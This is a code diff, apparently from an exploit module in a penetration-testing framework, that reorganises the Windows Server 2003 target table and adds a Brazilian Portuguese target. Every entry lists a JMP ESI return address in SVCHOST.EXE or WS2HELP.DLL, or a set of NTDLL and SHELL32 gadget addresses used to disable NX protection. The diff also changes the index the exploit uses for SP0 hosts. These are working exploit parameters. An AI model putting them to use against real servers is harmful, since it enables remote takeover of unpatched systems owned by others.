@@ -88,6 +88,14 @@ def initialize(info = {})
88
88
}
89
89
] , # JMP ESI SVCHOST.EXE
90
90
91
+ # Standard return-to-ESI without NX bypass
92
+ [ 'Windows 2003 SP0 Universal' ,
93
+ {
94
+ 'Ret' => 0x0100129e ,
95
+ 'Scratch' => 0x00020408 ,
96
+ }
97
+ ] , # JMP ESI SVCHOST.EXE
98
+
91
99
#
92
100
# ENGLISH TARGETS
93
101
#
@@ -128,79 +136,6 @@ def initialize(info = {})
128
136
}
129
137
] , # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
130
138
131
- # Standard return-to-ESI without NX bypass
132
- [ 'Windows 2003 SP0 Universal' ,
133
- {
134
- 'Ret' => 0x0100129e ,
135
- 'Scratch' => 0x00020408 ,
136
- }
137
- ] , # JMP ESI SVCHOST.EXE
138
-
139
- # Standard return-to-ESI without NX bypass
140
- [ 'Windows 2003 SP1 English (NO NX)' ,
141
- {
142
- 'Ret' => 0x71bf21a2 ,
143
- 'Scratch' => 0x00020408 ,
144
- }
145
- ] , # JMP ESI WS2HELP.DLL
146
-
147
- # Brett Moore's crafty NX bypass for 2003 SP1
148
- [ 'Windows 2003 SP1 English (NX)' ,
149
- {
150
- 'RetDec' => 0x7c90568c , # dec ESI, ret @SHELL32.DLL
151
- 'RetPop' => 0x7ca27cf4 , # push ESI, pop EBP, ret @SHELL32.DLL
152
- 'JmpESP' => 0x7c86fed3 , # jmp ESP @NTDLL.DLL
153
- 'DisableNX' => 0x7c83e413 , # NX disable @NTDLL.DLL
154
- 'Scratch' => 0x00020408 ,
155
- }
156
- ] ,
157
-
158
- # Standard return-to-ESI without NX bypass
159
- [ 'Windows 2003 SP1 Japanese (NO NX)' ,
160
- {
161
- 'Ret' => 0x71a921a2 ,
162
- 'Scratch' => 0x00020408 ,
163
- }
164
- ] , # JMP ESI WS2HELP.DLL
165
-
166
- # Standard return-to-ESI without NX bypass
167
- [ 'Windows 2003 SP2 English (NO NX)' ,
168
- {
169
- 'Ret' => 0x71bf3969 ,
170
- 'Scratch' => 0x00020408 ,
171
- }
172
- ] , # JMP ESI WS2HELP.DLL
173
-
174
- # Brett Moore's crafty NX bypass for 2003 SP2
175
- [ 'Windows 2003 SP2 English (NX)' ,
176
- {
177
- 'RetDec' => 0x7c86beb8 , # dec ESI, ret @NTDLL.DLL
178
- 'RetPop' => 0x7ca1e84e , # push ESI, pop EBP, ret @SHELL32.DLL
179
- 'JmpESP' => 0x7c86a01b , # jmp ESP @NTDLL.DLL
180
- 'DisableNX' => 0x7c83f517 , # NX disable @NTDLL.DLL
181
- 'Scratch' => 0x00020408 ,
182
- }
183
- ] ,
184
-
185
- # Standard return-to-ESI without NX bypass
186
- [ 'Windows 2003 SP2 German (NO NX)' ,
187
- {
188
- 'Ret' => 0x71a03969 ,
189
- 'Scratch' => 0x00020408 ,
190
- }
191
- ] , # JMP ESI WS2HELP.DLL
192
-
193
- # Brett Moore's crafty NX bypass for 2003 SP2
194
- [ 'Windows 2003 SP2 German (NX)' ,
195
- {
196
- 'RetDec' => 0x7c98beb8 , # dec ESI, ret @NTDLL.DLL
197
- 'RetPop' => 0x7cb3e84e , # push ESI, pop EBP, ret @SHELL32.DLL
198
- 'JmpESP' => 0x7c98a01b , # jmp ESP @NTDLL.DLL
199
- 'DisableNX' => 0x7c95f517 , # NX disable @NTDLL.DLL
200
- 'Scratch' => 0x00020408 ,
201
- }
202
- ] ,
203
-
204
139
#
205
140
# NON-ENGLISH TARGETS - AUTOMATICALLY GENERATED
206
141
#
@@ -637,12 +572,34 @@ def initialize(info = {})
637
572
}
638
573
] , # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
639
574
575
+ #
576
+ # Windows 2003 Targets
577
+ #
578
+
640
579
# Standard return-to-ESI without NX bypass
641
- # Provided by Masashi Fujiwara
642
- [ 'Windows 2003 SP2 Japanese (NO NX)' ,
580
+ [ 'Windows 2003 SP1 English (NO NX)' ,
643
581
{
644
- 'Ret' => 0x71a91ed2 ,
645
- 'Scratch' => 0x00020408
582
+ 'Ret' => 0x71bf21a2 ,
583
+ 'Scratch' => 0x00020408 ,
584
+ }
585
+ ] , # JMP ESI WS2HELP.DLL
586
+
587
+ # Brett Moore's crafty NX bypass for 2003 SP1
588
+ [ 'Windows 2003 SP1 English (NX)' ,
589
+ {
590
+ 'RetDec' => 0x7c90568c , # dec ESI, ret @SHELL32.DLL
591
+ 'RetPop' => 0x7ca27cf4 , # push ESI, pop EBP, ret @SHELL32.DLL
592
+ 'JmpESP' => 0x7c86fed3 , # jmp ESP @NTDLL.DLL
593
+ 'DisableNX' => 0x7c83e413 , # NX disable @NTDLL.DLL
594
+ 'Scratch' => 0x00020408 ,
595
+ }
596
+ ] ,
597
+
598
+ # Standard return-to-ESI without NX bypass
599
+ [ 'Windows 2003 SP1 Japanese (NO NX)' ,
600
+ {
601
+ 'Ret' => 0x71a921a2 ,
602
+ 'Scratch' => 0x00020408 ,
646
603
}
647
604
] , # JMP ESI WS2HELP.DLL
648
605
@@ -665,6 +622,54 @@ def initialize(info = {})
665
622
}
666
623
] ,
667
624
625
+ # Standard return-to-ESI without NX bypass
626
+ [ 'Windows 2003 SP2 English (NO NX)' ,
627
+ {
628
+ 'Ret' => 0x71bf3969 ,
629
+ 'Scratch' => 0x00020408 ,
630
+ }
631
+ ] , # JMP ESI WS2HELP.DLL
632
+
633
+ # Brett Moore's crafty NX bypass for 2003 SP2
634
+ [ 'Windows 2003 SP2 English (NX)' ,
635
+ {
636
+ 'RetDec' => 0x7c86beb8 , # dec ESI, ret @NTDLL.DLL
637
+ 'RetPop' => 0x7ca1e84e , # push ESI, pop EBP, ret @SHELL32.DLL
638
+ 'JmpESP' => 0x7c86a01b , # jmp ESP @NTDLL.DLL
639
+ 'DisableNX' => 0x7c83f517 , # NX disable @NTDLL.DLL
640
+ 'Scratch' => 0x00020408 ,
641
+ }
642
+ ] ,
643
+
644
+ # Standard return-to-ESI without NX bypass
645
+ [ 'Windows 2003 SP2 German (NO NX)' ,
646
+ {
647
+ 'Ret' => 0x71a03969 ,
648
+ 'Scratch' => 0x00020408 ,
649
+ }
650
+ ] , # JMP ESI WS2HELP.DLL
651
+
652
+ # Brett Moore's crafty NX bypass for 2003 SP2
653
+ [ 'Windows 2003 SP2 German (NX)' ,
654
+ {
655
+ 'RetDec' => 0x7c98beb8 , # dec ESI, ret @NTDLL.DLL
656
+ 'RetPop' => 0x7cb3e84e , # push ESI, pop EBP, ret @SHELL32.DLL
657
+ 'JmpESP' => 0x7c98a01b , # jmp ESP @NTDLL.DLL
658
+ 'DisableNX' => 0x7c95f517 , # NX disable @NTDLL.DLL
659
+ 'Scratch' => 0x00020408 ,
660
+ }
661
+ ] ,
662
+
663
+ # Brett Moore's crafty NX bypass for 2003 SP2 (target by Anderson Bargas)
664
+ [ 'Windows 2003 SP2 Portuguese - Brazilian (NX)' ,
665
+ {
666
+ 'RetDec' => 0x7c97beb8 , # dec ESI, ret @NTDLL.DLL OK
667
+ 'RetPop' => 0x7cb2e84e , # push ESI, pop EBP, ret @SHELL32.DLL OK
668
+ 'JmpESP' => 0x7c97a01b , # jmp ESP @NTDLL.DLL OK
669
+ 'DisableNX' => 0x7c94f517 , # NX disable @NTDLL.DLL
670
+ 'Scratch' => 0x00020408 ,
671
+ }
672
+ ] ,
668
673
# Standard return-to-ESI without NX bypass
669
674
[ 'Windows 2003 SP2 Spanish (NO NX)' ,
670
675
{
@@ -682,7 +687,16 @@ def initialize(info = {})
682
687
'DisableNX' => 0x7c83f517 , # NX disable @NTDLL.DLL
683
688
'Scratch' => 0x00020408 ,
684
689
}
685
- ]
690
+ ] ,
691
+
692
+ # Standard return-to-ESI without NX bypass
693
+ # Provided by Masashi Fujiwara
694
+ [ 'Windows 2003 SP2 Japanese (NO NX)' ,
695
+ {
696
+ 'Ret' => 0x71a91ed2 ,
697
+ 'Scratch' => 0x00020408
698
+ }
699
+ ] , # JMP ESI WS2HELP.DLL
686
700
687
701
#
688
702
# Missing Targets
@@ -826,7 +840,7 @@ def exploit
826
840
827
841
# Windows 2003 SP0 is mostly universal
828
842
if fprint [ 'os' ] == 'Windows 2003' and fprint [ 'sp' ] == 'No Service Pack'
829
- mytarget = targets [ 7 ]
843
+ mytarget = targets [ 3 ]
830
844
end
831
845
832
846
# Windows 2003 R2 is treated the same as 2003
0 commit comments